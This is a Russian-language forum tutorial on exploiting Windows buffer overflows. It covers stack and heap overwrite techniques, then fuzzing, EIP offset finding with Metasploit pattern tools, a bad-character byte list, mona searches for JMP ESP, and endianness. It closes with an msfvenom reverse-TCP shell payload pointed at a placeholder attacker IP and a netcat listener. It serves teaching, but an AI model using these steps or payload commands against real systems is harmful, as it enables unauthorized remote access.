Переполнение буфера Windows / buffer overflow Windows

vestnik

Newbie
22.05.2020
4
0
1
Умелый пользователь может использовать переполнение буфера на основе стека для манипулирования программой в своих интересах одним из нескольких способов:

-
Перезаписав локальную переменную, расположенную рядом с уязвимым буфером в стеке, чтобы изменить поведение программы.

- Перезаписав адрес возврата в стеке фрейма. Как только функция вернется, выполнение возобновится по адресу возврата, указанному атакующим - обычно это заполненный пользователем буфер.

- Перезаписав указатель функции или обработчик исключений, который впоследствии выполняется.

- Перезаписывая локальную переменную (или указатель) другого фрейма стека, который будет использоваться функцией, которой позже будет принадлежать этот фрейм.

1591682139719.png
На основе кучи

Переполнение буфера, возникающее в области данных кучи, называется переполнением кучи и может использоваться способом, отличным от переполнения на основе стека. Память в куче динамически распределяется приложением во время выполнения и обычно содержит данные программы. Эксплуатация выполняется путем повреждения этих данных особым образом, чтобы приложение перезаписывало внутренние структуры, такие как указатели на связанный список. Метод канонического переполнения кучи перезаписывает связь динамического выделения памяти (например, метаданные malloc) и использует полученный обмен указателями для перезаписи указателя программной функции.

1591682264711.png

Переполнение буфера в windows

Обнаруживаем, что приложение уязвимо для переполнения буфера путем фаззинга приложения фаззером.

Введение в иммунитет отладчика
Добавление приложения в отладчик imunnity


####

Фаззинг приложения

Фаззер фаззит приложение в случайном инкрементном порядке, так что приложение останавливается, когда обнаруживает сбой или тайм-аут из приложения, с которым мы взаимодействуем.

Тиражирование аварии
Повторяем сбой, отправляя приложение со значением, при котором оно падало

управление EIP
РАСПОЛОЖЕНИЕ EIP СОЗДАВАЯ УНИКАЛЬНЫЙ УЗОР

Код:
msf-pattern_create -h
msf-pattern_create -l length of buffer
РАСПОЛОЖЕНИЕ ОФСЕТНОГО АДРЕСА EIP
Код:
msf-pattern_offset -h
msf-pattern_offset -l lengthofbuffer -q stringfromeip
Определение места для шеллкода
ПРОВЕРКА НА ПЛОХИЕ СИМВОЛЫ

Код:
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

1591682532357.png


ПЕРЕПРАВЛЕНИЕ ИСПОЛНИТЕЛЬНОГО ПОТОКА
НАЙТИ ВОЗВРАТ АДРЕС
##### введение в мону
Код:
!mona
ИДЕНТИФИКАЦИЯ МОДУЛЯ С OUT ASLR, DEP, SEH
NASM SHELL

1591682609742.png

Код:
msf-nasm_shell

nasm>jmp esp

!mona 
!mona modules 
!mona find -s "instruction " -m "module to search"
формат данных
инструкция загрузки слова или сохранения слова использует только один адрес памяти. Самый младший адрес из четырех байтов используется для адреса блока из четырех смежных байтов.

Как 32-битный шаблон хранится в четырех байтах памяти? В шаблоне содержится 32 бита, а в шаблоне - 32 бита, но необходимо выбрать, какой байт памяти получает какую часть шаблона. Есть два способа, которыми компьютеры обычно делают это:

Порядок байтов Big Endian:
Самый старший байт («большой конец») данных помещается в байт с самым низким адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.

Little Endian Byte Order:
Младший значащий байт («маленький конец») данных помещается в байт с самым низким адресом. Остальные данные располагаются по порядку в следующих трех байтах в памяти.

В этих определениях данные, 32-разрядный шаблон, рассматриваются как 32-разрядное целое число без знака. «Самый значимый» байт - это байт для самых больших степеней двух: 231,…, 224. «Наименее значимый» байт - это байт для наименьших степеней двух: 27,…, 20.

Например, допустим, что 32-разрядный шаблон 0x12345678 хранится по адресу 0x00400000. Самый старший байт 0x12; наименее значимым является 0x78.

Внутри байта порядок битов одинаков для всех компьютеров (независимо от того, как расположены сами байты).

1591682693682.png

Генерация shellcode

Код:
msfvenom -p windows/shell_reverse_tcp lhost=attackerip lport=attackerport -f fileformat -e x86/shikata_ga_nai -b "badcharcters"
Оптимизация shellcode
получение reverse shell

Код:
nc -nlvp port to connect
improving the exploit
 

Вложения

Об LS-LA

  • Мы, группа единомышленников, основная цель которых повышать уровень знаний и умений.
    Не забывая о материальном благополучии каждого)

About LS-LA

  • We, a group of like-minded people, whose main goal is to increase the level of knowledge and skills.
    Not forgetting about everyone’s material well-being)

Быстрая навигация

Пользовательское меню